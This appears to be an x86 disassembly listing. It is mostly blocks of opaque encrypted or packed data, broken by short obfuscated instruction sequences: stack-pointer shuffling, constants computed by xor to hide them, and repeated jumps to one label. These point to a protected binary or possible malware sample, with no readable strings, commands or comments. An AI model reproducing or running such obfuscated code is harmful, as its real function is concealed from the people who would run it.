62F8623Ch, 56ECDCD0h dd 73205217h, 5CC4B3DFh, 0ECDF85FFh, 4AD21756h, 813F1Eh dd 39660000h, 70DC7FF7h, 6FBABF1Ch, 97AC896h, 3C12BC46h dd 0C634FAA4h, 1C16B615h, 966C38D9h, 681EB25Fh, 116C445Dh dd 7073E1BFh, 32FE9799h, 0A8D45B0Ah, 3E389BF7h, 0B74E1AB7h dd 5FC59B62h, 97DA6391h, 563A96FAh, 4CC38FF5h, 6AF20CBCh dd 0E889CCC6h, 6F0C4E44h, 0EA89C9C3h, 3EAEEC46h, 2945F479h dd 5295C779h, 13BF609Ch, 3A05FF4Dh, 0E0780B7Bh, 0DF2A2F8Ch dd 20EA5806h, 2F06CBA3h, 6EBAE3B7h, 0AE1C421Bh, 12A6CFE4h dd 0CD6CED13h, 0CD610D61h, 0B7E38EC7h, 0F7A2D719h, 9294375Bh dd 0FB9CD85Bh, 0FB573B57h, 0DCA04CA5h, 13F79D09h, 0F3503CDFh dd 7BE32889h, 3BF5EF4Ah, 0C6AA06B9h, 80F729EBh, 0CF6C6184h dd 15585F8Dh, 83CA3064h, 1B6188D6h, 0C47E6BAh, 5E54F457h dd 0D8D27E1Bh, 5E54F899h, 0BBD77B18h, 85F740B1h, 4212BED2h dd 3D6D90FCh, 841E5183h, 2BAA3E36h, 7729B1CAh, 2BA9EFC5h dd 79DA42CAh, 0F5BF67Fh, 7DD180F5h, 0AF68ED23h, 4BE78B26h dd 20598427h, 0F7000000h, 39A8031Eh, 2BF7B18Bh, 0B19C04CAh dd 6AC1A25h, 8986EBF5h, 94E4428h, 3794F854h, 6DA50892h dd 929834EBh, 1812BE5Bh, 9D973BDCh, 1C16BA59h, 9B913DDEh dd 208A457h, 848E22CFh, 0AA657h, 0E9822ECFh, 56E18951h dd 0D96F7CBEh, 3DC68109h, 8167CD26h, 0A695B5EEh, 5EF10171h dd 8704E983h, 515C240Ch, 0C181E189h, 4, 4E981h, 0C870000h dd 1C895C24h, 3F1B6824h, 2C890000h, 0B8505124h, 55010F6h dd 355F2D40h, 0F74823E7h, 731C35D8h, 87055B82h, 89066FE8h dd 47BB58C1h, 1BA6B69h, 8B5459CBh, 0C481242Ch, 4, 8904EC83h dd 458F241Ch, 2434FF08h, 4C4835Dh db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5488E2 ; --------------------------------------------------------------------------- dd 0B86B0EE6h, 5F0AE6Fh, 0E0FFC503h, 5C9B3BC0h, 12BCCBB2h dd 2BF323Dh, 296D33E3h, 0F9C6B69h, 6E6DB763h, 1BE045C7h dd 1BE7CEE0h, 4CED70A9h, 8E8h, 79A75D00h, 0B07F4706h, 0CDB8664Fh dd 6E95FFCh, 3F000000h, 0CB050145h, 0B2C7819Bh, 66000073h dd 0BB5C14BAh, 1CC9h, 37FF5DB1h, 3DE28166h, 800F5E28h dd 2, 0F681D08Bh, 581CBE7Ah, 0C681F4B1h, 21830562h, 0EE81C38Bh dd 6D1B213Eh, 0A449B957h, 565A43A3h, 0BAD0BA66h, 7E9078Fh dd 0E000000h, 0D8A596BFh, 0EF81CA02h, 6EBF46B4h, 81C9BF0Fh dd 0BF46B0C7h, 2830F6Eh, 0B4000000h, 850F4B78h, 0FFFFFFA2h dd 58E0Fh, 81660000h, 8DDF3AC9h, 0F0B0708Dh, 49858B05h dd 8905EA0Bh, 0EA0ADD8Dh, 0D88B6605h, 0ACD85C7h, 590805EAh dd 8D890000h, 5EA07F5h, 85C7FA8Ah, 5EA25F5h, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 2FC35242h dd 0B5FFF583h, 5EA3151h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0BBC35242h, 7CF37889h, 0FF2C9F7Fh, 0EA2A1995h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 420BFFAh, 6A5B15h, 101595FFh, 0C08B05EAh dd 0EE185AEBh, 50CC87BEh, 1CC41E5Fh, 0D4638863h, 0A3993E69h dd 0C71D424Ch, 687961CAh, 8C50A3BDh, 38D76180h, 71A32C26h dd 3159E76Eh, 0C16C64FCh, 56D3BA0h, 5BB5F5EFh, 6E7EBC3Ch dd 8FC45F56h, 1B8ED8D1h, 507625B6h, 95EB6459h, 66030DC4h dd 12372D5Ch, 2B6658h, 0DE320947h, 0B1C78D8Dh, 6A05F0h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h dd 0B35909C3h, 0DEC88166h, 899D8B7Fh, 8905EA1Eh, 0EA0ADD8Dh dd 6E805h, 64B0000h, 5CB57CB1h, 0C5B50B60h, 6105EA12h dd 0CD85C75Ah, 0C05EA0Ah, 0BB00006Eh, 330158A0h, 25F585C7h dd 5EAh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0AB1C4CC3h, 85958BE4h, 0FF05EA1Ch dd 0EA2581B5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 112F4736h, 0BF6759A5h dd 7BDEEB2Bh, 2A1995FFh, 6A05EAh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 595516C3h, 3A629E37h dd 337FEBE6h, 0EA11B595h, 68E0F05h, 8B000000h, 0EA1EB985h dd 0FF006A05h, 0EA101595h, 0EBC08B05h, 209F759h, 0CD87F5D1h dd 1B250D7Eh, 0E3083CE7h, 1C5F9E8Ah, 10A8054Ch, 0F51CB6B0h dd 6CF2B1E4h, 0ED8028B7h, 6492C2DDh, 0B12B3DAAh, 3E5FB06Fh dd 0FD57BAB7h, 3A03C121h, 0AF61685Dh, 2ABE9BF8h, 3478F440h dd 0AA4322EEh, 0C1F4A722h, 0EFCCD418h, 0B4C04852h, 60E70F41h dd 6E886C6h, 27000000h, 1E32498Ch, 0D19D29A1h, 5B05EA07h dd 98D0Fh, 8C0F0000h, 3, 81F88B66h, 5E50C3h, 0DE52BA00h dd 0F62B71FDh, 0BD1D7FBAh, 33048B25h, 398D3152h, 5A05EA0Fh dd 1E8E881h, 0BD233806h, 5EA1435h, 9C6DF081h, 8D316057h dd 5EA30C1h, 0E484F081h, 0D38A1CD8h, 0F330489h, 688h, 0DDBD2300h dd 8B05EA30h, 2EE83D0h, 1711B589h, 4E4E05EAh, 9CB64EBFh dd 38FE8122h, 0FFFFFA2h, 0FFFFA885h, 41958BFFh, 0E805EA1Ah dd 0Dh, 0BCFB43A9h, 0E88280Fh, 24635815h, 0C98D294Dh, 5905EA07h dd 61FBC181h, 0B70F0000h, 68D6h, 7E90000h, 6000000h, 3FD52D9Ah dd 0E958B299h, 10h, 3C63B023h, 0F1A8AC64h, 25907A57h, 971527E0h dd 8101348Bh, 9C6DF0F6h, 0F681FC59h, 489DD4DDh, 0C6812AB2h dd 6BD2D767h, 8B56B7B7h, 0EA257595h, 1048F05h, 119D01h dd 8D8905EAh, 5EA07C9h, 43C3E881h, 880F5709h, 13h, 7E8h dd 0DCC8C500h, 0FEAFB719h, 0A18509h, 815B05EAh, 943BFC0h dd 0A8F88157h, 0FFFFF9Eh, 0FFFF9F85h, 8DA3B3FFh, 0F0B4308Dh dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 66BC0409h, 958BE487h, 5EA28C9h, 0ADD8D89h dd 6A05EAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 6DA91AC3h, 0A6ECA9BBh, 896A3ADEh, 0EA12C585h dd 29C68105h, 0C736747Ah, 0EA0ACD85h, 6D6C05h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 91D96520h, 5923BB66h, 13E9h, 236EF500h, 0CA9F6D45h dd 85BABDA9h, 0B61F2027h, 9AC295F1h, 25F585C7h, 5EAh, 0D78A0000h dd 0E95B5FFh, 95FF05EAh, 5EA2A19h, 0C55B589h, 6A05EAh dd 101595FFh, 0C08B05EAh, 474A2BEBh, 24867633h, 1493A346h dd 85619E54h, 89377A5Ch, 919B619Ch, 55FFBBABh, 0E169E1F8h dd 7497ECA8h, 0C0F6026h, 7E97A667h, 3B8D8D97h, 6A05F0B5h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0E88EC351h, 0Fh, 93D43DBDh, 0B70F9177h, 3A294055h dd 0F09821Bh, 38Ah, 0F0B70F00h, 0F3BF0F5Eh, 0ADD8D89h dd 0BF0F05EAh, 0CD85C7FEh, 0C05EA0Ah, 0E9000070h, 12h dd 41F020F2h, 3FF01EB3h, 5521C9CAh, 4459708Ah, 85C78927h dd 5EA25F5h, 0 dd 0C18B6653h, 19B5FF5Eh, 6A05EA1Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 9D8EC350h dd 1810F4Ch, 0F5000000h, 2A1995FFh, 6A05EAh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 690F83C3h dd 898DCB97h, 0EA2AB59Dh, 0FF006A05h, 0EA101595h, 0EBC08B05h dd 0E1286E1Fh, 8280D739h, 82BA68B0h, 3107F7B2h, 86355042h dd 0A9B8BE39h, 800B92D3h, 76532CB6h, 0B60B8D8Dh, 870F05F0h dd 6, 4D958Bh, 8D8905EAh, 5EA0ADDh, 830F52h, 5F000000h dd 0ACD85C7h, 5DAC05EAh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 61BC75C3h, 0C1958BBBh dd 0C705EA30h, 0EA25F585h, 5, 0D2BF0F00h, 0D95B5FFh, 6A05EAh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 33F409C3h, 1995FF0Dh, 6A05EA2Ah, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0D757C356h dd 0FF006ADEh, 0EA101595h, 0EBC08B05h, 1A3CB91Ch, 0A221F6Ch dd 17B7F108h, 41C16F48h, 18C82192h, 7D42EC05h, 3CBC1AECh dd 0FE80Fh, 0F2D60000h, 0EA53200Bh, 1BA9B049h, 97030C6Bh dd 0BE665FB5h, 0C781C774h, 689Dh, 0C8D0Fh, 880F0000h, 6 dd 0A418509h, 0F0B805EAh, 810F4F48h, 4F2EF1E8h, 891F8B0Fh dd 0EA1E89B5h, 0C5C38105h, 0B60B9E7Ch, 1EEB8129h, 14DAC76h dd 0EA14259Dh, 0D2F38105h, 510EE301h, 1F895AF9h, 0D685B966h dd 6E36EF81h, 8B6630AEh, 32C781F7h, 8030AE6Eh, 0F4877CDh dd 1585h, 0D6816600h, 20E910EDh, 0B8000000h, 2B097EB1h dd 596F100Dh, 8B665129h, 0FF9FE9D6h, 4882FFFFh, 2581C390h dd 6E654F07h, 0E8A61853h, 8, 5D8C5BE5h, 0DEF3D29Ah, 8EDF8059h dd 6D94C181h, 28B00000h, 68h, 31BD8900h, 5E05EA2Dh, 16DD9D8Bh dd 34FF05EAh, 7E90Eh, 9F990000h, 4062446h, 14E85F73h, 0A0000000h dd 5B0AE789h, 0B9B18D1Bh, 0FC75F730h, 2E55EDC8h, 0B788082Bh dd 0C7815A59h, 6BBCA697h, 0AE8h, 54076400h, 6AF9C063h dd 0B25A6998h, 0EF8158DCh, 54809E00h, 1B719D89h, 0EF8105EAh dd 11E14A73h, 2B57AAB0h, 0EA20F185h, 31048F05h, 8E8h, 0B2538800h dd 9395D85Eh, 49858B26h, 5805EA01h, 1D4D858Bh, 0EE8105EAh dd 5C77BF02h, 0AC18D31h, 0C68105EAh, 5C77BEFEh, 0FE81EBB4h dd 0FFFF9330h, 0FF64850Fh, 8589FFFFh, 5EA1D79h, 0B8508D8Dh dd 958B05F0h, 5EA1E09h, 0ADD8D89h, 6A05EAh, 3E850h, 58200000h dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5B422AC3h dd 0EC1EF753h, 0BF0FB9ADh, 7E9FFh, 0F85E0000h, 926708A0h dd 4BBA6697h, 0CD85C76Bh, 3405EA0Ah, 6A00006Eh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0FD49C353h, 38C47AB3h, 0BA662F0Dh, 85C7AED8h, 5EA25F5h dd 0 dd 0B5FFF8F8h, 5EA1189h, 2D7D958Bh, 95FF05EAh, 5EA2A19h dd 859D8B60h, 8905EA1Ah, 0EA208195h, 6A6105h, 101595FFh dd 0C08B05EAh, 25F778EBh, 6C98F7FDh, 1E5BDF95h, 76A3FBE8h dd 0AD938AB6h, 0EE38CF26h, 694F5B9Eh, 4BCC70D7h, 6C376753h dd 709718CAh, 1624960Ch, 5762FD1Eh, 718A5C75h, 9E4FFA57h dd 69AE62CAh, 85FA1500h, 9744C967h, 70EE92FCh, 0BB07BBDh dd 0FE5A596Eh, 443D2D32h, 8C4AE6BBh, 227D9062h, 15980630h dd 0D1E36502h, 697389C4h, 922452D3h, 38EEEA06h, 4882A807h dd 2581C390h, 4EB4F07h, 460C1DAAh, 5AEE9h, 9C43B500h, 18BD32C8h dd 9045B64Ch, 1EBB3EC4h, 9142B04Ah, 80E263C5h, 0FF5A152h dd 0BA4014C7h, 2BD1853Ah, 9A3F7A2h, 1F53299Bh, 2AA61D47h dd 2FE86D83h, 0CF630FAAh, 0B2E695C5h, 0FCA1D21Ch, 6514595Fh dd 1913A13Bh, 6C175667h, 13E4D9F4h, 7933516Fh, 0EA247ADAh dd 7418B469h, 0FD9CD1D7h, 0B18B39A3h, 417568Fh, 0C19F3F9Ch dd 0B814C70Fh, 44388AD4h, 0B7175690h, 458A8C2Fh, 7FD380F6h dd 0DCD37F13h, 16EE5CC6h, 69175690h, 0E41052F1h, 0C094D83h dd 0E1422ECFh, 97C36EE7h, 1C48EF6Dh, 6DC176E6h, 0E04CEF67h dd 0D9DE0EB0h, 4AB0E49Bh, 0E1085603h, 3949A8E2h, 0D272D129h dd 56B5D3A4h, 0B3216317h, 0E87DEAAh, 992E34h, 39770000h dd 71D285F7h, 0FF53FE77h, 5666B989h, 57067517h, 0D281F1FBh dd 0DA18127Eh, 0EFB19539h, 286A587Dh, 38C7B1BCh, 837340Eh dd 99000000h, 0DE722557h, 39B411B2h, 3C6B95D0h, 5CFF7053h dd 3E60155Ah, 7DDE7FF0h, 0FDA0D7DDh, 0B18B39A3h, 791756CCh dd 0A93146F5h, 0CD6F45F7h, 5AC21756h, 1E5359F9h, 0CAD0DF73h dd 0D4B00D23h, 27842974h, 2FA0F765h, 98BE55BCh, 0BFF7D30Dh dd 5714F3C9h, 0D4DE4617h, 0CC98F4A5h, 0D453BF36h, 71E77F36h dd 0EB257B17h, 7418B467h, 6DD68FD7h, 0E8E24EEDh, 9A9DD067h dd 600CA055h, 23D0060Ch, 69E9E34Fh, 0E96C66CAh, 6C114248h dd 0BE2E90C0h, 0B79379Fh, 0F9AD4E8Ch, 0CB03CD57h, 9EE88428h dd 175666A6h, 24228119h, 0A6AC00B1h, 44DE8035h, 3A96438Ah dd 674C2056h, 27BF1756h, 16582484h, 3ED99FE6h, 5D25340Eh dd 8B000000h, 68FA8162h, 4A8ADBC4h, 0FF5AF995h, 0A728ED6Dh dd 3C369AF6h, 0BDB21EBFh, 47645B7h, 79F90357h, 0FD7C76DAh dd 0C28CF05Ch, 79CB5192h, 17566783h, 85CD6EF6h, 340E3EE3h dd 4413h, 0FB73BD00h, 6D5EFB58h, 0F9104EEDh, 0AF02319h dd 0B515B652h, 369A3DBFh, 9B204C12h, 0A9F0A457h, 154BEA6Dh dd 47E497DBh, 669E91E7h, 16541756h, 38E99FE6h, 0A15340Eh dd 0BB000000h, 996E3052h, 0C764F1AEh, 4FEE6D62h, 0B564E9E3h dd 38DB1319h, 0BA579E94h, 3CDD1C16h, 0AACB3933h, 831844FAh dd 0F9AD50h, 4EE36DF9h, 5333A54Eh, 0BCD07C1Fh, 78E2BCD0h dd 0CD5C50E2h, 5AF1756h, 56CCBDB7h, 0C4A83017h, 0AA1A1D67h dd 0C76D12BCh, 6CA87F75h, 762BF211h, 711E593Eh, 0AAF498F4h dd 0B805F564h, 7FAD0320h, 99F55935h, 2DC49A3Ah, 0C90E26C2h dd 31A63914h, 0BC10C50Ah, 191FBCD0h, 8B7125D4h, 4D3B9742h dd 116C8F7Dh, 493C19Fh, 8E7420D1h, 0C06AA47h, 2C8428C9h dd 9C3DBC72h, 0BDFF5C30h, 1505484Fh, 0F3BADA17h, 0A3F79B62h dd 250E6117h, 150AD2Eh, 6EF40000h, 0AE1C421Bh, 12BC7439h dd 0F2F854CCh, 708ADE7Bh, 0FAF05CFDh, 0C26AC673h, 125B608Ch dd 0F1873367h, 162E2422h, 2D15AAFFh, 8F2CE68Eh, 88D6h dd 41B67800h, 6E9A3F9Ch, 77F30F27h, 0C6711CDAh, 570F8074h dd 76BF317h, 0F11EB59h, 0FC641757h, 0CE54CE90h, 9BC13027h dd 94E2C828h, 175677A0h, 77B4883Ah, 9F071756h, 0A9D370E8h dd 17567803h, 16EE5CF6h, 69175677h, 271DAFF1h, 9A175677h dd 0B4C26E02h, 175676C0h, 0F854094Eh, 72DE7BF2h, 0A6A9AD8h dd 98939C3Ah, 0A40E62F4h, 0E32276E6h, 3EE6540Ah, 3117570Ah dd 0BA53FDA9h, 0EF2961A0h, 0E5389BFAh, 96h, 421B6EBCh dd 455DAE1Ch, 89012BCh, 867ECC56h, 84116C43h, 49D1A657h dd 0FD144AEAh, 835810F1h, 2A2C8F54h, 0DE7FB7A3h, 0C2412A4Eh dd 45E98AC8h, 0BF114529h, 1887B156h, 9437205Bh, 0E0BE5B92h dd 9DF4C87Ah, 0DF47116Bh, 9BAADC7Ch, 79116B9Dh, 0C47BF937h dd 4DEE8BCEh, 97DEDD0Fh, 0CE00AEFAh, 6845E98Eh, 340B239Eh dd 11B2DE3Eh, 66380514h, 0BC4A99D4h, 5CF0680Ch, 0DE721F56h dd 0F4C4308Eh, 1C86D8A5h, 1A403486h, 2BB30B7Bh, 91B3F288h dd 1A8206CBh, 1B6E174Eh, 8FAE1C42h, 5712A6DEh, 88A55499h dd 32DB55EEh, 1C67C41Ch, 0AB222884h, 2DA05A0Eh, 0BD56208Ch dd 84EBA19h, 90C5D202h, 178B61D3h, 0FECD69h, 0E18D21D2h dd 0A053878Dh, 580C600Ch, 7FCF2BA2h, 510FDEECh, 0F33D630Fh dd 0DC7CDF7Ah, 0A8F6A3D6h, 58FDF141h, 0C96A20BEh, 4CEF6369h dd 0CB68EAE0h, 0F2626867h, 2C8037A5h, 0C27C2C40h, 47D00592h dd 0EDC06C0Fh, 21319A5Ah, 0E985E9CEh, 0A59F2DB7h, 18CD6954h dd 817B2380h, 0D001AD4Ch, 3, 6DA50889h, 929834EBh, 1812BE5Bh dd 9D973BDCh, 1C16BA59h, 9B913DDEh, 208A457h, 848E22CFh dd 0AA657h, 0E9822ECFh, 5E08950h, 4, 4BF57h, 0F8290000h dd 2404875Fh db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push ecx mov ecx, 1D7124F8h add ecx, 811601Eh push esi mov esi, 20723DCEh xor ecx, esi pop esi mov ebp, ecx pop ecx push esp mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, 8 add edx, ebx mov [edx], ebp pop edx mov ebx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5488E2 ; --------------------------------------------------------------------------- db 60h, 0EDh, 0BDh dd 0BD42AC56h, 0A947E085h, 0B8DE8730h, 5F0BDD7h, 0E0FFC503h dd 24DFA94Fh, 6A2EBB7Dh, 0CE0C757h, 3BF3C816h, 4D4144FFh dd 5F7D9046h, 0BA84F04h, 6B41F633h, 71F7EF1Dh, 6B2A7E0Eh dd 70AB3390h, 2D4B00E9h, 3B7E88DCh, 45CA2568h, 6B025726h dd 25D9779Ch, 0DE8h, 0DE2BA00h, 7D3364E1h, 18AA5153h, 0B70FFC77h dd 0CA8B5ADFh, 5DA0C281h, 0C0330000h, 0ADC78166h, 1034FF9Dh dd 0F129BB66h, 0C681F85Eh, 72FA6348h, 0F8C0Fh, 0AE90000h dd 0F9000000h, 0B34E19E5h, 94C68E1Dh, 94C6814Bh, 5352C485h dd 85C68159h, 0F472AF0h, 0C8Ah, 68C0F00h, 81000000h, 595DD7F3h dd 234897Ch, 0CE950h, 86510000h, 0D089E31Dh, 75F652A5h dd 0B35BDBB5h, 0F0E8812Ch, 813D9D2Bh, 9D2BECC0h, 0B1F7813Dh dd 816FB5B9h, 0FFA324F8h, 14850FFFh, 8B000000h, 27E9FEh dd 582F0000h, 4FAF4E5Dh, 0FF16577Dh, 0F330446h, 38Fh, 0CA8B6600h dd 0FFFF64E9h, 0A75DF3FFh, 7F470679h, 9E744FB0h, 0CE801h dd 29450000h, 40BBFE75h, 0D4C5961Fh, 0BE9FFFBh, 0C2000000h dd 0D7C7A05Dh, 0D7F2CA0Eh, 665A5A13h, 0D665F381h, 5E7BC281h dd 8A0F0000h, 10h, 0BE9h, 0DE1CB100h, 77D8E0D0h, 1CD5383Ch dd 8E9C02Bh, 0E000000h, 9E50A51Eh, 0FF44D205h, 8B661034h dd 0B9665FD9h, 0C78121A6h, 3845B637h, 17EF81F9h, 0F660469h dd 0F781CABFh, 6A83D6C8h, 5AF624BBh, 23C8925h, 66F28B66h dd 0E883F18Bh, 0F18B6604h, 0A234F881h, 850FFFFFh, 0Ch dd 1EE9F38Bh, 0DE000000h, 4E8CD68Ch, 0A5EFBB66h, 0FFFFAAE9h dd 6DD392FFh, 7146120Dh, 2D2B69DBh, 5497CCDCh, 0AE8B3h dd 0D1D90000h, 0EABFF2E2h, 0A5EC56FDh, 0E85E19B7h, 12h dd 779E32C9h, 6BC8DAB2h, 33948E3Bh, 1E8942Dh, 830FC8D2h dd 1, 0C68159FCh, 59B5h, 1EBB66h, 9F1DDFBFh, 0A5EF8144h dd 81449F07h, 19A628D1h, 0F168B69h, 68Eh, 2AC18100h, 813F96E2h dd 0B3A088F2h, 6BC3812Bh, 812965B6h, 90B465C2h, 0EA81F852h dd 300AB9F1h, 7735EB81h, 0E952529Bh, 0Dh, 9017CF4Bh, 10F687D8h dd 6F1D5A7Eh, 8B068F0Ch, 3EE83D9h, 4E24EB80h, 4FCFBF0Fh dd 14850Fh, 8B660000h, 2DE9C2h, 67B00000h, 799AEA8Ah, 0F92DB6B3h dd 0DE9A55Dh, 0F8000000h, 391E3A2Ah, 66A23A66h, 3790FC5Dh dd 0FFFF80E9h, 529F45FFh, 3554C198h, 0EB662652h, 42347604h dd 4B9E906h, 18580000h, 86C93367h, 0FA7983D7h, 84F50F5Bh dd 0F77B81D5h, 37B61044h, 3C680B4Fh, 0B7E390C6h, 3C680F4Dh dd 0B6E28FC6h, 483C8E1Ch, 0BB1D4728h, 0F7399E37h, 117DD184h dd 9041B4B2h, 25C4363Ch, 67370DBFh, 128A1756h, 56679064h dd 177BE317h, 8B61D349h, 0FE175667h, 679DC566h, 871D43EEh dd 56673F35h, 0EF8ACF17h, 3A30098h, 0FA73C409h, 959FF35Fh dd 73DFB362h, 0EB47F679h, 397EEEE4h, 0AB5105B4h, 8C227629h dd 2F875C65h, 8625F195h, 0FDA35480h, 0BE1DC033h, 31E2141Eh dd 173CD9Dh, 0D1853ABAh, 5BF7A22Bh, 570F5A2Dh, 3AAAE817h dd 0C275E729h, 45F6646Eh, 36C28A29h, 4D340EE1h, 75558FA4h dd 0F77E5302h, 0FDA40765h, 50h, 49E86DA4h, 669F93E5h, 0E9AB1756h dd 3886727Bh, 33FD340Eh, 0DCB01CBFh, 1267Fh, 397F0000h dd 325597D0h, 0D1DBD033h, 5B5DFE9Dh, 0C7CD6114h, 1F41ED90h dd 0A3FD9CD1h, 56ED1B11h, 55F66E17h, 0DF731E53h, 0EDAADAD0h dd 659FCB6Ah, 4C1541F0h, 0E24EED6Dh, 368467E8h, 1756673Eh dd 0E94529B1h, 0DEDD0F41h, 51ABFF9Ch, 0DBD17D1Ch, 8F65D798h dd 0E2175667h, 6702FA48h, 0ED751756h, 3D41ED81h, 8A29AD63h dd 0ECF96B29h, 340E3F0Ch, 5C78h, 0ED6D2100h, 99F5A628h dd 19BC3F35h, 8437BFB5h, 0EAB2228h, 0ACD886A2h, 608C8689h dd 3064175Bh, 47EB88CAh, 0C16D0C4Dh, 7DD184CBh, 0BC310277h dd 0D7DD711Dh, 315DF1A4h, 16A5D799h, 275B37E4h, 0F6F2FB69h dd 6340E3Eh, 3Ah, 4EED6D5Fh, 0CB6CE8E2h, 0EF1D4367h, 0DD892AA8h dd 62D03984h, 8C6CEFDEh, 0A42B2D8Eh, 542B5DF1h, 0E2175744h dd 0DA3334A0h, 0E01729BEh, 4109AACDh, 340F25B7h, 1C7h dd 0EE6D9E00h, 64E9E34Fh, 0F74919B5h, 10C53685h, 0B624EA44h dd 56A3A605h, 7C63D18Fh, 0CF12BC44h, 7CF1FB57h, 0EAD21EFh dd 0C4B8CEA2h, 37116C41h, 6D97C3AFh, 0F3C97BE8h, 46116C41h dd 681EB2DEh, 116C429Ah, 1DB16294h, 9E32E517h, 18B46594h dd 3717B74h, 3CA8F6D2h, 0C271E52Bh, 42562E9Ch, 31A9116Ch dd 0B0619492h, 0CAD20EEh, 0C80DF7AFh, 889E7729h, 2AD0C18Dh dd 93CA173Ah, 5CC0BEFDh, 20555FFFh, 3B75DD71h, 0DE7BF2C9h dd 304A3E8Ah, 11BA2E24h, 0E3000001h, 1C421B6Eh, 0BC7439AEh dd 0F854CC12h, 8ADE7BF2h, 0B83AFD70h, 0B7DBB71Bh, 3AE27E9h dd 0C060C3AFh, 3EB083CAh, 315D319Dh, 826B359Dh, 2BF68D2Fh dd 3270D3E4h, 0D180F5C2h, 5C47668Fh, 0E7581716h, 0E0A81C44h dd 272E2346h, 0BFB564E9h, 5935993Ch, 51A3FAh, 6EFA0000h dd 0A2104E27h, 175666FAh, 0F7A42AE4h, 0BDB7055Bh, 30175665h dd 1C67C4A8h, 665E2884h, 4175666h, 0A5569856h, 84C66509h dd 68454058h, 65E08436h, 60FA1756h, 5664DAD2h, 16B52D17h dd 31ABF56Dh, 5664A983h, 27841C17h, 6A5E7Fh, 6E070000h dd 7B8241Bh, 3487356Bh, 4712BC45h, 16C636B9h, 5872A7B7h dd 0A8C46804h, 0EB6268C4h, 6DE01A4Eh, 0D73E60CCh, 0ECFCD7Ch dd 314BE88Bh, 116C2504h, 494EBEE0h, 0F8015504h, 388AD4B1h dd 0CBC655Ch, 515BF76Fh, 0DBD17D1Ch, 414BE792h, 91C16D0Ch dd 0C898BD2Fh, 7627A866h, 556597D5h, 95277944h, 6CBA3B7h dd 5F0652CAh, 1C421B6Eh, 0A6A7EEAEh, 78FF0112h, 0A66F45F7h dd 5AC21165h, 9AF69A36h, 2AB93C36h, 70FDA9C3h, 750314C7h dd 1165B27Fh, 52066AF2h, 2A7425A8h, 64C778E4h, 0DFE5B2C4h dd 0AAA00EF3h, 59F87D3Ah, 0DA4AA30Dh, 24C373DFh, 2ECD010Bh dd 0A5428B8Dh, 0B27A1D17h, 6408900Dh, 7C52D33Ah, 0CFE28FC2h dd 8C2FDDCFh, 6B3262Ch, 8031A0AAh, 0B5262Ch, 184406ACh dd 0D90BB5E5h, 0BAEE8BC2h, 0C06C0D40h, 311h, 0A5084800h dd 9834EB6Dh, 12BE5B92h, 973BDC18h, 16BA599Dh, 913DDE1Ch dd 8A4579Bh, 8E22CF02h, 0AA65784h, 822ECF00h, 110768E9h dd 4890000h, 8336824h, 14890000h, 0E2895224h, 4C281h, 0EA810000h dd 4, 5C241487h, 68242C89h, 0E9Fh, 0B9240C89h, 5F0C135h dd 6859CA89h, 2742h, 81242489h, 42404h, 535D0000h, 5D895B52h dd 2C8B5B08h, 0E6895624h, 4C681h, 0C6830000h, 24348704h dd 24148B5Ch, 81E68956h, 4C6h, 4C68300h, 5C243487h, 0F9B895E9h dd 929B0CFFh, 4D8DFFA3h, 0B804124Bh, 5F0C56Ch, 0E0FFC503h dd 392E62DEh, 14C41003h, 6A054B29h, 27A8BFABh, 69EA6933h dd 3226689Ah, 19D58F48h, 28EE8998h, 5BBB6B7h, 31CD9A64h dd 34E55CB9h, 70969ADh, 3FA4C4E4h, 7D0DCCA9h, 0A234AC42h dd 0A27C2406h, 3BB37D7Ah, 83DA309Fh, 83B42A21h, 6F302590h dd 863025C4h, 976D98A7h, 893020F8h, 86305A8Dh, 778DA684h dd 8635CF48h, 8642A12Eh, 3F62590h, 83DA3F0Dh, 7C674D6Ah dd 82B156BBh, 1EECCC2Dh, 0DB85DAB0h dd 0B35CF53h, 6B9F85A4h, 0DE0DA95h, 0C3B5E3B8h, 0C835CF3Eh dd 0C775D17Ah, 0A234A46Bh, 0C031B4C8h, 8CC190BDh, 3BD20CBh dd 83DD8A30h, 7EBBF5B7h, 8630359Dh, 8638CC12h, 89962509h dd 86302B01h, 4F3B6C42h, 79C0A02Eh, 8BD9DA6Fh, 0B302548h dd 6C7C04B9h, 86359D17h, 65CF2509h, 401F9809h, 0BBD20B2h dd 83C0E3CCh, 0B6153728h, 47FF0ECEh, 0A234AC42h, 0A27C2406h dd 3BB37D7Ah, 83DA309Fh, 83B42A21h, 6F302590h, 863025C4h 